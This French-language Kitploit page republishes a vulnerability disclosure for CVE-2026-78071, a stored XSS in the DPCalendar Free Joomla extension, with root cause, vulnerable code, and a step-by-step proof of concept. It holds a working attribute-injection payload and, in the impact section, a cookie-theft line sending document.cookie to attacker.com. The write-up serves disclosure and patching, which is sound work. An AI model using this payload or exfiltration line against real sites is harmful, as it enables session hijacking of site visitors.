Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-78071 — XSS stocké via le titre de localisation dans DPCalendar Free | Kitploit
Outils/GitHubGitHub/toanln-cov/cve-2026-78071
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebSécurité Web
GitHubtoanln-cov/cve-2026-78071

CVE-2026-78071

XSS stocké via le titre de localisation dans DPCalendar Free

Voir le dépôt
il y a 11h 41mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

XSS stocké via le titre d'un lieu dans DPCalendar Free

DPCalendar Free ≤ 10.11.2 — Un utilisateur avec le rôle Auteur contourne la revue de contenu pour injecter un XSS persistant via le titre d'un lieu, déclenché au survol par tout visiteur

CVE CVSS CWE-79 Affected Researcher


RÉSUMÉ

Le champ $location->title est rendu sans htmlspecialchars() dans default_locations.php. Le InputFilter::clean() côté serveur de Joomla supprime et des champs de type chaîne mais autorise , permettant à un utilisateur avec le rôle Auteur de sortir du contexte d'attribut HTML. Lorsqu'un visiteur survole la section d'informations du lieu d'une page d'événement, le gestionnaire injecté exécute du JavaScript arbitraire dans sa session de navigation.

<
>
"
onmouseover

Un second défaut de conception amplifie l'impact : EventController::allowEdit() vérifie uniquement created_by == current_user — il ne vérifie pas l'état de publication de l'événement. Un Auteur peut créer un événement bénin, le faire publier par un administrateur, puis armer silencieusement le lieu associé en modifiant son titre après publication, contournant entièrement la revue de contenu. La charge utile XSS est insérée après la modération ; les administrateurs ne la voient jamais durant leur cycle de revue.


VERSIONS AFFECTÉES

COMPOSANTVULNÉRABLETESTÉ SURCORRIGÉ
DPCalendar Free≤ 10.11.2Joomla 6.1.2 + DPCalendar Free 10.11.2 (PHP 8.3 / Apache)10.12.0

DÉTAILS DE LA VULNÉRABILITÉ

Type : Cross-Site Scripting stocké / Encodage de sortie inapproprié (CWE-79) Authentification requise : rôle Auteur — utilisateur frontal (groupe Joomla 4, minimum requis pour créer des événements) Fichier : site/tmpl/event/default_locations.php

Cause racine

$location->title est affiché directement — sans htmlspecialchars() — dans deux contextes de sortie dans default_locations.php. Le contexte d'attribut est la source exploitable via l'interface web, car l'InputFilter de Joomla bloque <> mais laisse passer " sans modification.

DEFAULT_LOCATIONS.PHP — SOURCES DE SORTIE VULNÉRABLES

root@kitploit:~
// Source 1 — contenu texte (injection HTML ; <> supprimé par InputFilter via l'interface web)
<span class="dp-location__title"><?php echo $location->title; ?></span>

// Source 2 — attribut HTML (injection d'attribut ; " passe à travers InputFilter)
<div class="dp-location__details"
     data-title="<?php echo $location->title; ?>"

Une valeur de titre telle que New Location" onmouseover="alert(document.domain) est stockée intacte par le serveur. À la sortie, la source 2 est rendue comme suit :

root@kitploit:~
<div class="dp-location__details"
     data-title="New Location" onmouseover="alert(document.domain)"

L'attribut onmouseover devient un gestionnaire d'événements actif dans le DOM rendu.

Vérification manquante de l'état de publication

EventController::allowEdit() accorde l'accès en modification à tout Auteur pour ses propres événements, quel que soit l'état de publication. Un attaquant établit la confiance en soumettant un événement normal pour revue par l'administrateur, puis — après publication par l'administrateur — modifie silencieusement le lieu associé pour injecter la charge utile XSS :

SITE/SRC/CONTROLLER/EVENTCONTROLLER.PHP — ALLOWEDIT() SANS VÉRIFICATION D'ÉTAT

root@kitploit:~
protected function allowEdit($data = [], $key = 'id')
{
    // ...
    return $calendar instanceof CalendarInterface &&
           ($calendar->canEdit() ||
            ($calendar->canEditOwn() &&
             $event->created_by == $this->getCurrentUser()->id));
    // ↑ Aucune vérification de $event->state — les événements publiés restent modifiables par l'Auteur
}

PREUVE DE CONCEPT

1. Se connecter avec un utilisateur au rôle Auteur

Accéder au formulaire de connexion frontal et se connecter avec un compte Auteur (groupe Joomla 4 — minimum requis pour créer des événements et des lieux).

Étape 1 — Connexion en tant qu'Auteur

2. Créer un événement normal avec un lieu légitime

Accéder à /index.php?option=com_dpcalendar&view=form. Créer un événement avec un titre propre et associer un lieu existant (par exemple « Greater London »). Cela établit la légitimité de l'Auteur avant l'introduction de la charge utile.

Étape 2 — Formulaire de création d'événement bénin

Étape 3 — Associer un lieu légitime avant l'enregistrement

3. Attendre qu'un administrateur publie l'événement

L'événement est soumis pour revue. Un administrateur se connecte et le publie depuis le backend DPCalendar. L'événement est désormais en ligne et visible par tous les visiteurs du site.

Étape 4 — L'administrateur publie l'événement

4. Revenir à l'événement publié et ouvrir le lieu pour modification

En tant qu'Auteur, accéder à la page de l'événement publié. Le bouton Modifier l'événement reste visible — allowEdit() ne vérifie pas l'état de publication. Cliquer sur Modifier l'événement, aller dans l'onglet Lieu, puis cliquer sur l'icône crayon pour ouvrir locationform.

Étape 5 — Icône de modification toujours disponible après publication par l'administrateur

5. Injecter la charge utile XSS dans le champ du titre du lieu

Remplacer le nom du lieu par la charge utile. L'InputFilter de Joomla laisse passer " — la charge utile est enregistrée intacte et brise le contexte d'attribut HTML à la sortie :

CHARGE UTILE — CHAMP TITRE (LOCATIONFORM)

root@kitploit:~
New Location" onmouseover="alert(document.domain)

Étape 6 — Injection de la charge utile XSS dans le champ du titre du lieu

Cliquer sur Enregistrer.

6. Tout visiteur de la page d'événement déclenche le XSS au survol

Lorsque tout utilisateur — authentifié ou anonyme — visite la page de détail de l'événement et déplace son curseur sur la section Informations sur le lieu, le gestionnaire onmouseover injecté se déclenche immédiatement. Aucune authentification, aucun clic et aucune autre interaction ne sont nécessaires au-delà de la visite de la page.

Étape 7 — Le XSS se déclenche au survol

La charge utile brute est visible dans la section Lieu de la page d'événement — le titre non échappé est rendu comme un attribut HTML actif :

Étape 8 — Page d'événement montrant la charge utile non échappée dans le DOM

Le survol de la section Lieu déclenche la boîte de dialogue d'alerte dans le navigateur du visiteur anonyme :

Étape 9 — Boîte de dialogue d'alerte XSS déclenchée pour un visiteur anonyme


IMPACT

  1. Détournement de session — Le gestionnaire injecté peut exfiltrer le cookie de session de la victime via fetch('//attacker.com/?c='+document.cookie), permettant une prise de contrôle totale du compte pour tout rôle qui consulte l'événement.

  2. Surface d'attaque persistante et liée à l'événement — La charge utile persiste jusqu'à ce que le titre du lieu soit corrigé manuellement. Tout utilisateur qui visite la page de l'événement — y compris les visiteurs anonymes — est exposé. Les événements à fort trafic (conférences publiques, pages de réservation) multiplient le nombre de victimes.

  3. Contournement de la confiance après publication — Étant donné que l'Auteur peut modifier silencieusement le lieu après l'approbation de l'administrateur, la charge utile n'est jamais vue durant la revue de contenu. L'événement bénin passe la modération ; le XSS est inséré ensuite.


RÉFÉRENCES

  • CVE : https://www.cve.org/CVERecord?id=CVE-2026-78071
  • NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-78071
  • Avis GitHub : https://github.com/advisories/GHSA-32gf-548r-6r9c
  • Dépôt du fournisseur : https://github.com/Digital-Peak/DPCalendar-Free
Télécharger l’outil